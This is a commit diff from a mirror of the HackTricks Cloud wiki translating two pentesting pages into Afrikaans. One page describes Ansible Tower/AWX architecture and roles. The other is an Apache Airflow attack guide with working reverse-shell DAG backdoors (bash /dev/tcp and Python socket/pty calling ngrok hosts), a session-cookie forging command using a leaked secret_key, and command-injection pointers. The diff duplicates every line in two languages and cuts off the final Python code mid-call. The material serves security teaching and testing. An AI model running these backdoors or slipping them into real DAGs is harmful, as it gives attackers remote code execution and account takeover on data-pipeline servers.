mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
Translator
@@ -4,60 +4,59 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
**Ansible Tower** of sy oopbron weergawe [**AWX**](https://github.com/ansible/awx) is ook bekend as **Ansible se gebruikerskoppelvlak, dashboard, en REST API**. Met **rolgebaseerde toegangbeheer**, werkskedulering, en grafiese inventarisbestuur, kan jy jou Ansible-infrastruktuur vanaf 'n moderne UI bestuur. Tower se REST API en opdraglyn koppelvlak maak dit eenvoudig om dit in huidige gereedskap en werksvloeie te integreer.
|
||||
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
**Automation Controller is 'n nuwer** weergawe van Ansible Tower met meer vermoëns.
|
||||
|
||||
### Differences
|
||||
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
Volgens [**hierdie**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), is die hoof verskille tussen Ansible Tower en AWX die ontvangde ondersteuning en die Ansible Tower het addisionele funksies soos rolgebaseerde toegangbeheer, ondersteuning vir pasgemaakte API's, en gebruikersgedefinieerde werksvloeie.
|
||||
|
||||
### Tech Stack
|
||||
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
- **Web Interface**: Dit is die grafiese koppelvlak waar gebruikers inventarisse, akrediteer, sjablone, en werksgeleenthede kan bestuur. Dit is ontwerp om intuïtief te wees en bied visualiseringe om te help met die begrip van die toestand en resultate van jou outomatiseringswerk.
|
||||
- **REST API**: Alles wat jy in die webkoppelvlak kan doen, kan jy ook via die REST API doen. Dit beteken jy kan AWX/Tower met ander stelsels integreer of aksies skryf wat jy tipies in die koppelvlak sou uitvoer.
|
||||
- **Database**: AWX/Tower gebruik 'n databasis (tipies PostgreSQL) om sy konfigurasie, werksresultate, en ander nodige operasionele data te stoor.
|
||||
- **RabbitMQ**: Dit is die boodskapstelsel wat deur AWX/Tower gebruik word om tussen die verskillende komponente te kommunikeer, veral tussen die webdiens en die taaklopers.
|
||||
- **Redis**: Redis dien as 'n kas en 'n agtergrond vir die taaklyn.
|
||||
|
||||
### Logical Components
|
||||
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
- **Inventories**: 'n Inventaris is 'n **versameling van gasheers (of nodes)** teenoor welke **werksgeleenthede** (Ansible playbooks) kan **loop**. AWX/Tower laat jou toe om jou inventarisse te definieer en te groepeer en ondersteun ook dinamiese inventarisse wat **gasheerlyste van ander stelsels kan haal** soos AWS, Azure, ens.
|
||||
- **Projects**: 'n Projek is in wese 'n **versameling van Ansible playbooks** wat afkomstig is van 'n **weergawebeheerstelsel** (soos Git) om die nuutste playbooks te trek wanneer nodig.
|
||||
- **Templates**: Werk sjablone definieer **hoe 'n spesifieke playbook uitgevoer sal word**, wat die **inventaris**, **akrediteer**, en ander **parameters** vir die werk spesifiseer.
|
||||
- **Credentials**: AWX/Tower bied 'n veilige manier om **geheime te bestuur en te stoor, soos SSH sleutels, wagwoorde, en API tokens**. Hierdie akrediteer kan met werksjablone geassosieer word sodat playbooks die nodige toegang het wanneer hulle loop.
|
||||
- **Task Engine**: Dit is waar die magie gebeur. Die taak enjin is gebou op Ansible en is verantwoordelik vir **die uitvoering van die playbooks**. Werksgeleenthede word na die taak enjin gestuur, wat dan die Ansible playbooks teen die aangewese inventaris met die gespesifiseerde akrediteer uitvoer.
|
||||
- **Schedulers and Callbacks**: Dit is gevorderde funksies in AWX/Tower wat toelaat dat **werksgeleenthede geskeduleer kan word** om op spesifieke tye te loop of geaktiveer te word deur eksterne gebeurtenisse.
|
||||
- **Notifications**: AWX/Tower kan kennisgewings stuur gebaseer op die sukses of mislukking van werksgeleenthede. Dit ondersteun verskeie middele van kennisgewings soos e-pos, Slack boodskappe, webhooks, ens.
|
||||
- **Ansible Playbooks**: Ansible playbooks is konfigurasie, ontplooiing, en orkestrasie gereedskap. Hulle beskryf die gewenste toestand van stelsels op 'n geoutomatiseerde, herhaalbare manier. Geskryf in YAML, gebruik playbooks Ansible se verklarende outomatiserings taal om konfigurasies, take, en stappe wat uitgevoer moet word te beskryf.
|
||||
|
||||
### Job Execution Flow
|
||||
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
1. **User Interaction**: 'n gebruiker kan met AWX/Tower interaksie hê of deur die **Web Interface** of die **REST API**. Hierdie bied front-end toegang tot al die funksies wat deur AWX/Tower aangebied word.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
- Die gebruiker, via die Web Interface of API, begin 'n werk gebaseer op 'n **Job Template**.
|
||||
- Die Job Template sluit verwysings in na die **Inventaris**, **Project** (wat die playbook bevat), en **Credentials**.
|
||||
- By werkinitiëring, word 'n versoek na die AWX/Tower agtergrond gestuur om die werk vir uitvoering te plaas.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
- **RabbitMQ** hanteer die boodskappe tussen die webkomponent en die taaklopers. Sodra 'n werk geïnisieer is, word 'n boodskap na die taak enjin gestuur met behulp van RabbitMQ.
|
||||
- **Redis** dien as die agtergrond vir die taaklyn, wat gequeue werksgeleenthede wat op uitvoering wag bestuur.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
- Die **Task Engine** neem die gequeue werk op. Dit haal die nodige inligting van die **Database** oor die werk se geassosieerde playbook, inventaris, en akrediteer.
|
||||
- Met die onttrokken Ansible playbook van die geassosieerde **Project**, voer die Task Engine die playbook teen die gespesifiseerde **Inventaris** nodes uit met die verskafde **Credentials**.
|
||||
- Soos die playbook loop, word sy uitvoeringsuitset (logs, feite, ens.) vasgevang en in die **Database** gestoor.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
- Sodra die playbook klaar is met loop, word die resultate (sukses, mislukking, logs) in die **Database** gestoor.
|
||||
- Gebruikers kan dan die resultate deur die Web Interface sien of dit via die REST API opvra.
|
||||
- Gebaseer op werksuitkomste, kan **Notifications** gestuur word om gebruikers of eksterne stelsels oor die werk se status in te lig. Kennisgewings kan e-posse, Slack boodskappe, webhooks, ens. wees.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
- **Inventories** kan dinamies van eksterne stelsels verkry word, wat AWX/Tower toelaat om gasheers van bronne soos AWS, Azure, VMware, en meer in te trek.
|
||||
- **Projects** (playbooks) kan van weergawebeheerstelsels verkry word, wat die gebruik van op-datum playbooks tydens werksuitvoering verseker.
|
||||
- **Schedulers and Callbacks** kan gebruik word om met ander stelsels of gereedskap te integreer, wat AWX/Tower laat reageer op eksterne triggers of werksgeleenthede op voorafbepaalde tye laat loop.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
|
||||
[**Volg die docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) is dit moontlik om docker-compose te gebruik om AWX te loop:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Supported roles
|
||||
### Ondersteunde rolle
|
||||
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
Die mees bevoorregte rol word **Sisteem Administrateur** genoem. Enige iemand met hierdie rol kan **enige iets** **wysig**.
|
||||
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
Vanuit 'n **wit boks sekuriteit** hersiening, sal jy die **Sisteem Ouditeur rol** benodig, wat toelaat om **alle stelseldatas** te **bekyk** maar nie enige veranderinge kan aanbring nie. 'n Ander opsie sou wees om die **Organisasie Ouditeur rol** te verkry, maar dit sou beter wees om die ander een te kry.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
<summary>Breek dit uit om 'n gedetailleerde beskrywing van beskikbare rolle te kry</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
1. **Sisteem Administrateur**:
|
||||
- Dit is die supergebruiker rol met toestemmings om toegang te verkry en enige hulpbron in die stelsel te wysig.
|
||||
- Hulle kan alle organisasies, spanne, projekte, inventarisse, werksjablone, ens. bestuur.
|
||||
2. **Sisteem Ouditeur**:
|
||||
- Gebruikers met hierdie rol kan alle stelseldatas bekijk maar nie enige veranderinge aanbring nie.
|
||||
- Hierdie rol is ontwerp vir nakoming en toesig.
|
||||
3. **Organisasie Rolle**:
|
||||
- **Admin**: Volle beheer oor die organisasie se hulpbronne.
|
||||
- **Ouditeur**: Slegs lees toegang tot die organisasie se hulpbronne.
|
||||
- **Lid**: Basiese lidmaatskap in 'n organisasie sonder enige spesifieke toestemmings.
|
||||
- **Voer Uit**: Kan werksjablone binne die organisasie uitvoer.
|
||||
- **Lees**: Kan die organisasie se hulpbronne bekijk.
|
||||
4. **Projekt Rolle**:
|
||||
- **Admin**: Kan die projek bestuur en wysig.
|
||||
- **Gebruik**: Kan die projek in 'n werksjabloon gebruik.
|
||||
- **Opdateer**: Kan die projek opdateer met SCM (bronbeheer).
|
||||
5. **Inventaris Rolle**:
|
||||
- **Admin**: Kan die inventaris bestuur en wysig.
|
||||
- **Ad Hoc**: Kan ad hoc opdragte op die inventaris uitvoer.
|
||||
- **Opdateer**: Kan die inventarisbron opdateer.
|
||||
- **Gebruik**: Kan die inventaris in 'n werksjabloon gebruik.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
6. **Werksjabloon Rolle**:
|
||||
- **Admin**: Kan die werksjabloon bestuur en wysig.
|
||||
- **Voer Uit**: Kan die werk uitvoer.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
7. **Geloofsbriewe Rolle**:
|
||||
- **Admin**: Kan die geloofsbriewe bestuur en wysig.
|
||||
- **Gebruik**: Kan die geloofsbriewe in werksjablone of ander relevante hulpbronne gebruik.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
8. **Span Rolle**:
|
||||
- **Lid**: Deel van die span maar sonder enige spesifieke toestemmings.
|
||||
- **Admin**: Kan die span se lede en geassosieerde hulpbronne bestuur.
|
||||
9. **Werkvloei Rolle**:
|
||||
- **Admin**: Kan die werkvloei bestuur en wysig.
|
||||
- **Voer Uit**: Kan die werkvloei uitvoer.
|
||||
- **Lees**: Slegs lees toegang.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van die rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
Basies sal Apache Airflow jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.
|
||||
|
||||
### Local Lab
|
||||
### Plaaslike Laboratorium
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
Jy kan die **docker-compose konfigurasie lêer van** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) gebruik om 'n volledige apache airflow docker omgewing te begin. (As jy op MacOS is, maak seker jy gee ten minste 6GB RAM aan die docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
Een maklike manier om **apache airflow** te **hardloop is om dit met minikube** te hardloop:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Airflow Konfigurasie
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies in plek vind:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -38,65 +36,62 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Voordat jy begin om Airflow aan te val, moet jy verstaan **hoe toestemmings werk**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Attacks
|
||||
### Aanvalle
|
||||
|
||||
#### Web Console Enumeration
|
||||
#### Web Konsolering
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
As jy **toegang tot die webkonsol** het, mag jy in staat wees om sommige of al die volgende inligting te bekom:
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **Veranderlikes** (Pasgemaakte sensitiewe inligting mag hier gestoor word)
|
||||
- **Verbindings** (Pasgemaakte sensitiewe inligting mag hier gestoor word)
|
||||
- Toegang tot hulle in `http://<airflow>/connection/list/`
|
||||
- [**Konfigurasie**](./#airflow-configuration) (Sensitiewe inligting soos die **`secret_key`** en wagwoorde mag hier gestoor word)
|
||||
- Lys **gebruikers & rolle**
|
||||
- **Kode van elke DAG** (wat interessante inligting mag bevat)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
#### Herwin Veranderlikes Waardes
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
Veranderlikes kan in Airflow gestoor word sodat die **DAGs** hul waardes kan **toegang**. Dit is soortgelyk aan geheime van ander platforms. As jy **genoeg toestemmings** het, kan jy hulle in die GUI in `http://<airflow>/variable/list/` toegang.\
|
||||
Airflow sal standaard die waarde van die veranderlike in die GUI wys, egter, volgens [**hierdie**](https://marclamberti.com/blog/variables-with-apache-airflow/) is dit moontlik om 'n **lys van veranderlikes** in te stel waarvan die **waarde** as **sterretjies** in die **GUI** sal verskyn.
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI self!**\
|
||||
Om toegang tot daardie waardes vanaf die GUI te verkry, kies net die **veranderlikes** wat jy wil toegang en **klik op Aksies -> Eksporteer**.\
|
||||
'n Ander manier is om 'n **bruteforce** op die **verborge waarde** uit te voer deur die **soekfilter** totdat jy dit kry:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
#### Privilege Escalatie
|
||||
|
||||
As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie onderteken koekie skep om enige ander gebruikersrekening na te boots**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
As jy **skrywe toegang** het tot die plek waar die **DAGs gestoor word**, kan jy eenvoudig **een skep** wat vir jou 'n **omgekeerde skulp** sal stuur.\
|
||||
Let daarop dat hierdie omgekeerde skulp binne 'n **airflow worker container** uitgevoer gaan word:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -105,75 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduleerder uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG Skepping
|
||||
|
||||
#### DAG Creation
|
||||
As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAG-skripte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
#### DAG Kode Inspuiting
|
||||
|
||||
#### DAG Code Injection
|
||||
Wanneer jy 'n DAG vanaf die GUI uitvoer, kan jy **argumente** aan dit **oorgee**.\
|
||||
Daarom, as die DAG nie behoorlik gekodeer is nie, kan dit **kwulnerabel wees vir Opdrag Inspuiting.**\
|
||||
Dit is wat in hierdie CVE gebeur het: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
Alles wat jy moet weet om **te begin soek na opdrag inspuitings in DAGs** is dat **parameters** met die kode **`dag_run.conf.get("param_name")`** **toegang verkry**.
|
||||
|
||||
Boonop kan dieselfde kwesbaarheid voorkom met **veranderlikes** (let daarop dat jy met genoeg voorregte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
As hulle byvoorbeeld binne 'n bash-opdrag gebruik word, kan jy 'n opdraginjeksie uitvoer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,115 +1,105 @@
|
||||
